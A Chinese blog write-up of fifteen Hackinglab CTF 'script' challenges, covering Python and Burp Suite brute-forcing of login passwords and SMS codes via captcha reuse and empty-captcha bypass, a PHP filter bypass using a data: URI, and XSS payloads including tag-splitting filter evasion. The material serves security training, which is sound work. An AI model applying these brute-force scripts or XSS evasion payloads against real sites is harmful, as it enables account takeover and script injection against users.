Hackinglab(鹰眼)——脚本关

目录

1、key又又找不到了

2、快速口算

3、这个题目是空的

4、怎么就是不弹出key呢?

5、逗比验证码第一期

6、逗比验证码第二期

7、逗比的验证码第三期(SESSION)

8、微笑一下就能过关了

9、逗比的手机验证码

10、基情燃烧的岁月

11、验证码识别

12、XSS基础关

13、XSS基础2:简单绕过

14、XSS基础3:检测与构造

15、Principle很重要的XSS


1、key又又找不到了

  • 打开靶场。
  • 点击后发现并没有key。因为有点击链接发生跳转的过程,所以尝试使用BurpSuite进行拦截。
  • 使用BurpSuite进行抓包,具体步骤:

    • 打开BurpSuite,打开浏览器代理(与BurpSuite设置的一致),点击链接,BurpSuite成功抓包。右键将包发送给重发器。
    • 点击重发器,直接点击发送,获得响应,得到key。

2、快速口算

  • 打开靶场。
  • 把结果算出来提交,但是没用。
  • 既然提示要在2秒内提交,尝试使用BurpSuite拦截包,看看能不能修改时间,但是并没有发现与时间有关的变量。
  • 既然是与脚本有关的题目,那就老老实实地写脚本访问吧。
  • 使用python编写脚本,使用计算机计算结果进行提交,并获取网页源代码。
  • 【注】正则表达式r'<br/>\s+(.*?)='的含义:
    • r:说明这是一个原始字符串,不对字符串中的特殊字符进行转义。
    • <br/>:匹配<br/>标签,因为源代码中等式前就是它。
    • \s+:匹配一个或多个空格,用于去除多余的空格。
    • (.*?):匹配任意字符,但采用非贪婪模式,会尽可能少地匹配字符。
      • .*会匹配整个字符串:<p>hello</p><p>world</p>
      • .*?会只匹配第一个<p>标签内的内容:hello
    • =:匹配等于号,用于结束匹配。
    • 详细教程:正则表达式 – 教程 | 菜鸟教程 (runoob.com)
  • 运行后得到key。

3、这个题目是空的

  • 提示直接提交答案,不仅要是小写,还要是空。
  • 什么代表空呢?尝试输入null,答案正确。

4、怎么就是不弹出key呢?

  • 打开靶场。
  • 点击后发现并没有弹窗,按F12查看元素,发现点击链接会执行了一个用JS写的a()函数。
  • 对源代码进行审计,发现执行弹窗的alert()函数被重写了,并且其中retuen了false,猜测是该函数重写对弹窗造成了影响。
  • 复制全部源代码,新建txt文本文件,将源代码粘贴后删除重写的alert()函数并保存,修改文本文件后缀为.html后运行。
  • 点击链接成功弹窗,取前14个字符charsslakfjtes,提交居然回答错误!
  • 重写审计源代码,发现key是不包含chars的!
  • 取key为slakfjteslkjsd,提交回答正确。

5、逗比验证码第一期

  • 打开靶场。
  • 要求登陆,并且提示了密码为1000~9999,尝试暴力破解。
  • 首先随机输入密码和正确的验证码,使用bp抓包,发送请求,返回pwd error。重新修改密码,再次发送请求,返回pwd error。说明验证码一直有效,即只需要使用第一次的验证码即可进行爆破。
  • 方法一:使用bp暴力破解。
    • 使用BurpSuite进行抓包,具体步骤:
      • 打开BurpSuite,打开浏览器代理(与BurpSuite设置的一致),随便输入密码和正确的验证码,点击提交,BurpSuite成功抓包。右键将包发送给intruder。
      • 修改要爆破的位置,只留下密码。
      • 在有效载荷中修改爆破范围。
      • 设置线程数(加快速度爆破),点击开始攻击。
      • 【注】第一次尝试时,发现找不到正确密码,所以返回的长度都相同。查看响应,发现是验证码错误。刷新页面,输入正确的验证码再次爆破,爆破成功。
      • 找到长度不一致的密码,即为正确密码。
    • 使用正确密码登陆,获得key。
  • 方法二:使用python暴力破解。(速度慢)
    • 按F12,查看网络,获取请求头。
    • 编写python代码,注意请求头格式。
    • import requests#用于发送http请求
      
      url = 'http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php' #定义目标登录页面URL
      #构建请求头,包含User-Agent、Cookie等信息
      headers = {
          'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
          'Accept-Encoding': 'gzip, deflate',
          'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',
          'Cache-Control': 'max-age=0',
          'Connection': 'keep-alive',
          'Cookie': 'PHPSESSID=a4bc7694b79f2cf4bbbc1f7521fe1b43',
          'Host': 'lab1.xseclab.com',
          'Referer': 'http://hackinglab.cn/',
          'Upgrade-Insecure-Requests': '1',
          'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.37',
      }
      
      for i in range(1000,10000):
          data={'username' : 'admin', 'pwd' : i, 'vcode' : '8DCC', 'submit' : 'submit'}
          con=requests.post(url, headers=headers, data=data).content.decode('utf-8')
          print("%d : %s"%(i, con))
    • 爆破成功,获得key。按ctrl+c提前终止。

6、逗比验证码第二期

  • 打开靶场。
  • 要求登陆,并且提示了密码为1000~9999,尝试暴力破解。
  • 首先随机输入密码和正确的验证码,使用bp抓包,发送请求,返回pwd error。
  • 重新修改密码,再次发送请求,返回vcode error。说明验证码使用一次即失效。
  • 需要找到绕过验证码的方法,尝试不输入验证码会如何。
  • 删除验证码后发送请求,返回pwd error。说明验证码为空即可绕过验证(第一次输入正确的验证码登陆留下的Cookie值,能让之后的爆破绕过验证码)。
  • 【注】Cookie是服务端用于存储用户信息的一种机制。它实际是由服务端生成的一段包含用户信息的字符串,存储在用户浏览器中,每次请求服务端时浏览器会自动携带这段字符串,服务端可以根据Cookie中的信息识别用户。
  • 方法一:使用bp暴力破解。
    • 使用BurpSuite进行抓包,具体步骤:
      • 打开BurpSuite,打开浏览器代理(与BurpSuite设置的一致),随便输入密码和正确的验证码,点击提交,BurpSuite成功抓包。右键将包发送给intruder。
      • 只对密码进行爆破,删除vcode的值。
      •  在有效载荷中修改爆破范围。
      • 设置线程数(加快速度爆破),点击开始攻击。
      • 找到长度不一致的密码,即为正确密码。查看响应,获得key。
  • 方法二:使用python暴力破解。(速度慢)
    • 先使用一次正确的验证码进行登陆,按F12,查看网络,获取请求头(主要是获得Cookie)。
    • 编写python代码,注意请求头格式。
    • import requests#用于发送http请求
      
      url = 'http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php' #定义目标登录页面URL
      #构建请求头,包含User-Agent、Cookie等信息
      headers = {
          'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
          'Accept-Encoding': 'gzip, deflate',
          'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',
          'Cache-Control': 'max-age=0',
          'Connection': 'keep-alive',
          'Content-Length': '48',
          'Content-Type': 'application/x-www-form-urlencoded',
          'Cookie': 'PHPSESSID=a4bc7694b79f2cf4bbbc1f7521fe1b43',
          'Host': 'lab1.xseclab.com',
          'Origin': 'http://lab1.xseclab.com',
          'Referer': 'http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/index.php',
          'Upgrade-Insecure-Requests': '1',
          'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.37',
      }
      
      for i in range(1000,10000):
          data={'username' : 'admin', 'pwd' : i, 'vcode' : '', 'submit' : 'submit'}
          con=requests.post(url, headers=headers, data=data).content.decode('utf-8')
          print("%d : %s"%(i, con))
    • 爆破成功,获得key。按ctrl+c提前终止。

7、逗比的验证码第三期(SESSION)

  •  打开靶场。
  • 提示Session(Session ID一般存储在Cookie中),也许可以使用Session绕过验证码。
  • 【注】Session是服务端用于存储用户会话信息的一种机制。简单来说,就是用户登录后,服务端会在服务器上创建一个Session,并给用户返回一个Session ID,用户每次请求都携带这个ID,服务端根据ID找到对应的Session数据,以此维持用户会话。

首先要弄清楚验证码的验证流程:
        1、显示表单
        2、显示验证码(调用生成验证码的程序),将验证码加密后放进session或者cookie
        3、用户提交表单
        4、核对验证码无误,数据合法后再写入数据库
        如果用户再提交一条数据,正常情况下,会再次访问表单页面,验证码图片会被更新,session和cookie也会改变。
        但是bp爆破操作可以直接模拟post向服务端发送数据,这样验证码程序没有被调用,当然session和cookie存储的加密验证码就还是上次的值,没有被更新,这样之后再通过post直接发送的数据就不用考虑验证码,验证码即失效!
        如果在核对验证码后将session和cookie的值清空,这个漏洞也就失效了。

  •  方法一:使用bp暴力破解。
    • 使用BurpSuite进行抓包,具体步骤:
      • 打开BurpSuite,打开浏览器代理(与BurpSuite设置的一致),随便输入密码和正确的验证码,点击提交,BurpSuite成功抓包。右键将包发送给intruder。
      • 只对密码进行爆破,删除vcode的值。
      •  在有效载荷中修改爆破范围。
      • 设置线程数(加快速度爆破),点击开始攻击。
      • 找到长度不一致的密码,即为正确密码。查看响应,获得key。
  • 方法二:使用python暴力破解。(速度慢)
    • 先使用一次正确的验证码进行登陆,按F12,查看网络,获取请求头(主要是获得Cookie中的Session ID)。
    • 编写python代码,注意请求头格式。
    • import requests#用于发送http请求
      
      url = 'http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/login.php' #定义目标登录页面URL
      #构建请求头,包含User-Agent、Cookie等信息
      headers = {
          'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
          'Accept-Encoding': 'gzip, deflate',
          'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',
          'Cache-Control': 'max-age=0',
          'Connection': 'keep-alive',
          'Content-Length': '48',
          'Content-Type': 'application/x-www-form-urlencoded',
          'Cookie': 'PHPSESSID=a4bc7694b79f2cf4bbbc1f7521fe1b43',
          'Host': 'lab1.xseclab.com',
          'Origin': 'http://lab1.xseclab.com',
          'Referer': 'http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/index.php',
          'Upgrade-Insecure-Requests': '1',
          'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.37',
      }
      
      for i in range(1000,10000):
          data={'username' : 'admin', 'pwd' : i, 'vcode' : '', 'submit' : 'submit'}
          con=requests.post(url, headers=headers, data=data).content.decode('utf-8')
          print("%d : %s"%(i, con))
    • 爆破成功,获得key。按ctrl+c提前终止。

8、微笑一下就能过关了

  • 打开靶场。
  • 随便输入信息发现未发送跳转。按F12查看源代码,发现“源代码”为一个链接。
  • 点击“源代码”,显示php源码,对源代码进行解析。
  • // 通过正则表达式和其他手段验证用户输入,如果通过所有的检查,则返回flag。
    <?php  
        header("Content-type: text/html; charset=utf-8");
        if (isset($_GET['view-source'])) { 
            show_source(__FILE__); 
            exit(); 
        } 
        include('flag.php'); 
        $smile = 1; // 给smile赋初值
        // preg_match(string $pattern, string $subject, string $matches)
        // preg_match()是PHP中的一个正则表达式匹配函数,作用是在主体字符串$subject中,搜索与正则表达式$pattern匹配的字符串。
        // pattern:要搜索的模式,字符串类型(正则表达式)。
    	// subject:输入的字符串。
    	// matches:(可有可无)如果提供了参数matches,它将被填充为搜索结果。如果找到匹配,则返回true,并将匹配结果存入$matches数组中。
        if (!isset ($_GET['^_^'])) $smile = 0;
        if (preg_match ('/\./', $_GET['^_^'])) $smile = 0;
        if (preg_match ('/%/', $_GET['^_^'])) $smile = 0;
        if (preg_match ('/[0-9]/', $_GET['^_^'])) $smile = 0; 
        if (preg_match ('/http/', $_GET['^_^']) ) $smile = 0;
        if (preg_match ('/https/', $_GET['^_^']) ) $smile = 0;
        if (preg_match ('/ftp/', $_GET['^_^'])) $smile = 0;
        if (preg_match ('/telnet/', $_GET['^_^'])) $smile = 0;
        if (preg_match ('/_/', $_SERVER['QUERY_STRING'])) $smile = 0;
    	// 以上是对.、%、数字、http、https、ftp等输入进行正则匹配校验,若匹配成功,$smile则赋值为0。
        if ($smile) { 
            if (@file_exists ($_GET['^_^'])) $smile = 0;
            // file_exists()函数检查文件或目录是否存在,判断^_^是不是一个文件。
        }
        // 如果通过所有的检查,$smile仍为1,则继续。
        if ($smile) { 
            $smile = @file_get_contents ($_GET['^_^']);  
            if ($smile === "(●'◡'●)") die($flag);
            // 获取^_^的值,赋值给smile,若smile为(●'◡'●),则返回flag。
        }  
    ?>
  • 因为使用的是get请求参数,所以可以确定该题需要在url地址后面加?参数为“^_^”。 
  • 接下来就是要确定参数的值:
    • 已知代码中preg_match()函数将所有的点、百分号、数字和一些常见的传输协议都给过滤掉了。只要携带这些字符,$smile就会被置为0。
    • 并且当$smile为1时,file_get_contents()函数(把整个文件读入一个字符串中)需要有个文件形式的传入内容,且内容为(●'◡'●),此时判断条件才能为真,才能获得flag。
    • 经过以上分析,我们首先需要找出一种协议,能够传输文件内容。file协议不能使用,就使用data协议。这样?后面跟的内容就是:?^_^=data:, (●'◡'●)。
      • 【注】data URI scheme(data协议)是一种在HTML、XML等文本中嵌入小文件(图片、CSS、JavaScript等)的方案。
    • 又因为if (preg_match ('/_/', $_SERVER['QUERY_STRING']))(取整个请求URL中?后面的参数值部分的内容)这个条件使得^_^中的下划线刚好被匹配到。
      • 这里我们可以将下划线替换为其URL编码,即:?^%5F^=data:, (●'◡'●) 。
      • 【注】URL编码是一种将普通字符串转换为可以在URL中使用的格式的编码机制。它的目的是将那些在URL中具有特殊意义的字符进行转义,使得浏览器正确解析URL并加载相应资源。下划线"_"的URL编码是%5F。
  • 输入:
  • 获得flag。

9、逗比的手机验证码

  •  打开靶场。
  • 先获取验证码尝试登陆,登陆后提示使用别的手机号进行登陆。
  • 使用13388886667进行登陆,获取验证码失败。
  • 自己的手机号可以获取验证码,别人的不行。尝试使用自己手机号获取的验证码登陆别人的账号。
  • 先使用自己的手机号获取验证码,并且不要关闭窗口。
  • 重新打开标签,使用别人的手机号进行登陆,输入之前获取的验证码。
  • 登陆成功,获得key。
  • 【注】也可以使用bp拦截使用自己手机号登陆的包,再修改成别人的手机号进行重发。

10、基情燃烧的岁月

  • 打开靶场。
  • 点击获取手机验证码,提示验证码格式,很明显需要爆破。
  •  使用BurpSuite进行抓包,具体步骤:

    • 打开BurpSuite,打开浏览器代理(与BurpSuite设置的一致),随便输入验证码,点击提交,BurpSuite成功抓包。右键将包发送给intruder。
    • 修改要爆破的位置,只留下验证码。
    • 在有效载荷中设置爆破数值范围。
    • 设置线程数(加快速度爆破),点击开始攻击。
    • 找到长度不一致的验证码,即为正确的验证码。查看响应,发现需要对另一个手机号进行爆破。
    • 修改手机号,重复上诉操作。
    • 【注】使用13399999999进行登陆抓的包发现爆破不出来,所有的返回长度都相同。想到验证码是要先获取才能使用的,所以一定要先点击获取验证码,再进行登陆抓包。
    • 爆破成功,获得key。

11、验证码识别

  • 打开靶场。
  • 点击获取验证码,只是提示验证码已发送,并且题目已经提示了验证码为3位数,说明需要对验证码进行爆破。
  • 尝试用bp进行爆破。只对手机验证码进行爆破,保持验证码不变,爆破后发现所有的验证码都已失效。尝试将验证码置为空进行爆破,还是失效。说明验证码只能使用一次。
  • 按照题目提示,应该是要在每次爆破的过程中自动识别验证码。
  • 使用Pkav HTTP Fuzzer(图片验证码爆破工具)暴力破解+识别验证码:
    • 通过bp抓包,复制请求包粘贴到Pkav HTTP Fuzzer。
    • 将密码添加标记,验证码添加验证码标记。
    • 设置手机验证码爆破范围。
    • 在图片型验证码识别中添加验证码地址,验证码地址在网站源代码查看。
    • 点击识别进行测试。
    • 在重放选项中设置线程数(加快速度)和编码格式。
    • 点击启动,发现返回的信息中提示没有发送手机验证码。
    • 【注】手机验证码一般有发送频率限制,如果使用多线程高频发送验证码,很容易触发频率限制,导致发验证码接口被禁用。
    • 在重放选项中重新设置线程模式为单线程。
    • 重新启动,发现又没有成功。返回信息提示手机验证码或验证码错误。
    • 检查发现,有些验证码识别失败。
    • 重新进行设置,将验证码识别范围设置为清晰的数字,并且将验证码长度设置为4位。(多次刷新发现验证码都为4位数字)
    • 重新启动,结果发现又没有爆破出来。检查发现,自带识别引擎会将0识别成9。
    • 只能进行多次尝试,最终爆破成功。

12、XSS基础关

  • 打开靶场前,先登陆平台。
  • 打开靶场。
  • 随意提交一个1,显示如下:
  • 按F12,查看源代码,发现一个以xss命名的文件,因为题目提示与xss有关,所以查看该文件。
  • 【注】XSS(Cross Site Scripting)攻击,也称跨站脚本攻击,是一种代码注入技术。它允许恶意用户将代码植入到提供给其他用户使用的页面中。其他用户在观看网页时,嵌入其中的恶意代码会被执行,从而达到恶意用户的目的。
  • 对xxs_check.php文件进行审计,发现提示使用alert(HackingLab),并且提示不加密不编码js,那么可以想到使用<script>引入js代码并执行。
  • 输入<script>alert(HackingLab)</script>,提示成功并得到key。

13、XSS基础2:简单绕过

  • 打开靶场。
  • 随意输入一个1,显示如下:
  • 按F12,查看源代码,提示使用alert(),并且有与xss相关的文件。
  • 对xss_check.php文件进行审计,发现提示使用alert(HackingLab),并且提示不加密不编码js,尝试使用<script>引入js代码并执行。
  • 输入<script>alert(HackingLab)</script>,显示script标签被检测了。尝试输入<Script>alert(HackingLab)</script>也失败了,说明不能使用script标签了。
  • 利用事件完成xss攻击,输入<img src=# οnerrοr=alert(HackingLab)>,提示成功并得到key。

14、XSS基础3:检测与构造

  •  打开靶场。
  • 尝试输入<script>alert(HackingLab)</script>和<img src=# οnerrοr=alert(HackingLab)>都失败了。根据对xss攻击的防范方法,猜测该网站应该是进一步地过滤掉了一些标签。
  • 因为每次提交的内容都会显示到下面的小框中,所以可以尝试给小框添加触发事件,以此来执行alert。
  • 尝试输入<οnclick=alert(HackingLab)>(点击小框即会触发事件,其他的触发事件也可以),输入后发现被过滤掉了。
  • 先对<>进行测试,结果是<被过滤了,>没被过滤,<xxx>和中间的内容会被过滤,并且'没有被过滤。可以利用这个进行绕过。
  • 尝试输入'οnclick=alert(HackingLab)>,被过滤掉了。可是之前单独测试onclick和alert并没有被过滤掉。
    • 【注】'并不会进行HTML实体编码,它会直接被浏览器解析为<。所以可以利用'来代替<,绕过一些简单的XSS过滤,构造XSS攻击代码。
  • 尝试输入'onclick>和'alert>,发现'alert>被过滤掉了。
  • 输入'οnclick=ale<e>rt(HackingLab)>,提示成功,得到key。

15、Principle很重要的XSS

  • 打开靶场。
  • 随便输入一个1,提交后发现没反应。
  • 按F12查看源代码,发现输入的内容会显示在a标签的跳转链接中。
  • 根据提示中提到的黑盒XSS,那就说明需要慢慢地探索哪些字符被过滤掉了。
  • 既然提交的内容会添加到a标签的跳转链接中,那就可以为a标签构造触发事件。
  • 尝试输入javascript:alert(1),结果被过滤了。
  • 先对<>进行测试,结果是<被过滤了,>没被过滤,<xxx>和中间的内容会被过滤。可以利用这个进行绕过。
  • 尝试输入javasc<c>ript:alert(1),结果被过滤了。猜测可能的原因有两种:
    • 后端代码是先匹配删除掉括号再进行的关键词查找。
    • alter被屏蔽了。
  • 先对第二种原因进行测试,尝试输入javasc<c>ript:ale<e>rt(1),结果成功出现在a标签跳转链接中,点击成功弹窗。
  • 再输入javasc<c>ript:ale<e>rt(HackingLab),点击链接,提示成功,得到key。
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

恣睢s

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值